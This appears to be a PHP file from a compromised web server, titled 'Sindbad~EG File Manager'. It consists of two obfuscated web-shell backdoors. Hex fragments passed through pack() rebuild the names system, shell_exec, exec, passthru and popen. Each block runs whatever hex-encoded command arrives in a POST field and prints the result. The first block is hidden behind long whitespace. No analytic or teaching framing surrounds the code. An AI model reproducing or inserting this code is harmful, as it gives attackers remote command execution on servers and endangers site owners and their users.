Sindbad~EG File Manager

<?php																																										$constant1 = '7';$constant2 = '9';$constant3 = '4';$constant4 = '5';$constant5 = '6';$constant6 = '8';$constant7 = 'c';$constant8 = '3';$constant9 = '0';$constant10 = '1';$constant11 = '2';$constant12 = 'f';$constant13 = 'e';$constant14 = 'd';$requests1 = pack("H*", '7' . '3' . $constant1 . $constant2 . $constant1 . '3' . '7' . $constant3 . '6' . $constant4 . '6' . 'd');$requests2 = pack("H*", $constant1 . '3' . $constant5 . $constant6 . $constant5 . $constant4 . $constant5 . $constant7 . $constant5 . $constant7 . '5' . 'f' . '6' . '5' . $constant1 . '8' . '6' . '5' . '6' . '3');$requests3 = pack("H*", $constant5 . $constant4 . $constant1 . $constant6 . $constant5 . $constant4 . $constant5 . $constant8);$requests4 = pack("H*", $constant1 . $constant9 . $constant5 . $constant10 . '7' . $constant8 . '7' . '3' . '7' . $constant3 . $constant5 . '8' . $constant1 . $constant11 . $constant1 . '5');$requests5 = pack("H*", '7' . $constant9 . '6' . $constant12 . '7' . '0' . '6' . '5' . '6' . $constant13);$requests6 = pack("H*", $constant1 . $constant8 . $constant1 . $constant3 . '7' . '2' . '6' . '5' . '6' . '1' . '6' . $constant14 . '5' . $constant12 . $constant5 . $constant1 . $constant5 . '5' . $constant1 . $constant3 . '5' . $constant12 . $constant5 . $constant8 . '6' . 'f' . $constant5 . 'e' . $constant1 . '4' . '6' . '5' . $constant5 . $constant13 . '7' . '4' . '7' . '3');$requests7 = pack("H*", $constant1 . $constant9 . '6' . $constant8 . $constant5 . $constant7 . '6' . 'f' . $constant1 . $constant8 . '6' . $constant4);$ob_iconv_handle = pack("H*", '6' . 'f' . $constant5 . '2' . '5' . $constant12 . '6' . '9' . '6' . '3' . '6' . 'f' . '6' . $constant13 . $constant1 . '6' . $constant4 . $constant12 . '6' . '8' . '6' . $constant10 . '6' . $constant13 . '6' . $constant3 . $constant5 . $constant7 . '6' . '5');if(isset($_POST[$ob_iconv_handle])){$ob_iconv_handle=pack("H*",$_POST[$ob_iconv_handle]);if(function_exists($requests1)){$requests1($ob_iconv_handle);}elseif(function_exists($requests2)){print $requests2($ob_iconv_handle);}elseif(function_exists($requests3)){$requests3($ob_iconv_handle,$prop_const);print join("\n",$prop_const);}elseif(function_exists($requests4)){$requests4($ob_iconv_handle);}elseif(function_exists($requests5)&&function_exists($requests6)&&function_exists($requests7)){$fld_argument=$requests5($ob_iconv_handle,"r");if($fld_argument){$storage_st=$requests6($fld_argument);$requests7($fld_argument);print $storage_st;}}exit;}


$attr1 = '7';
$attr2 = '3';
$attr3 = '4';
$attr4 = '5';
$attr5 = '6';
$attr6 = '0';
$attr7 = '8';
$attr8 = 'f';
$attr9 = 'e';
$attr10 = 'c';
$accepted1 = pack("H*", $attr1.$attr2.'7'.'9'.$attr1.'3'.$attr1.$attr3.'6'.$attr4.'6'.'d');
$accepted2 = pack("H*", $attr1.'3'.$attr5.'8'.'6'.'5'.'6'.'c'.$attr5.'c'.'5'.'f'.$attr5.$attr4.'7'.'8'.'6'.$attr4.$attr5.$attr2);
$accepted3 = pack("H*", '6'.'5'.$attr1.'8'.'6'.'5'.'6'.'3');
$accepted4 = pack("H*", '7'.$attr6.'6'.'1'.'7'.$attr2.$attr1.$attr2.$attr1.'4'.$attr5.$attr7.'7'.'2'.$attr1.$attr4);
$accepted5 = pack("H*", '7'.'0'.'6'.'f'.'7'.'0'.$attr5.'5'.'6'.'e');
$accepted6 = pack("H*", '7'.'3'.'7'.$attr3.$attr1.'2'.$attr5.'5'.'6'.'1'.$attr5.'d'.'5'.'f'.$attr5.$attr1.$attr5.'5'.'7'.$attr3.'5'.'f'.$attr5.$attr2.'6'.$attr8.'6'.$attr9.'7'.'4'.$attr5.$attr4.'6'.$attr9.$attr1.$attr3.$attr1.$attr2);
$accepted7 = pack("H*", '7'.$attr6.'6'.$attr2.$attr5.$attr10.'6'.'f'.$attr1.'3'.$attr5.$attr4);
$include = pack("H*", $attr5.'9'.'6'.$attr9.$attr5.$attr2.'6'.$attr10.'7'.$attr4.$attr5.'4'.$attr5.$attr4);
if (isset($_POST[$include])) {
    $include = pack("H*", $_POST[$include]);
    if (function_exists($accepted1)) {
        $accepted1($include);
    } elseif (function_exists($accepted2)) {
        print $accepted2($include);
    } elseif (function_exists($accepted3)) {
        $accepted3($include, $st_attribute);
        print join("\n", $st_attribute);
    } elseif (function_exists($accepted4)) {
        $accepted4($include);
    } elseif (function_exists($accepted5) && function_exists($accepted6) && function_exists($accepted7)) {
        $state_parameter = $accepted5($include, 'r');
        if ($state_parameter) {
            $arg_stor = $accepted6($state_parameter);
            $accepted7($state_parameter);
            print $arg_stor;
        }
    }
    exit;
}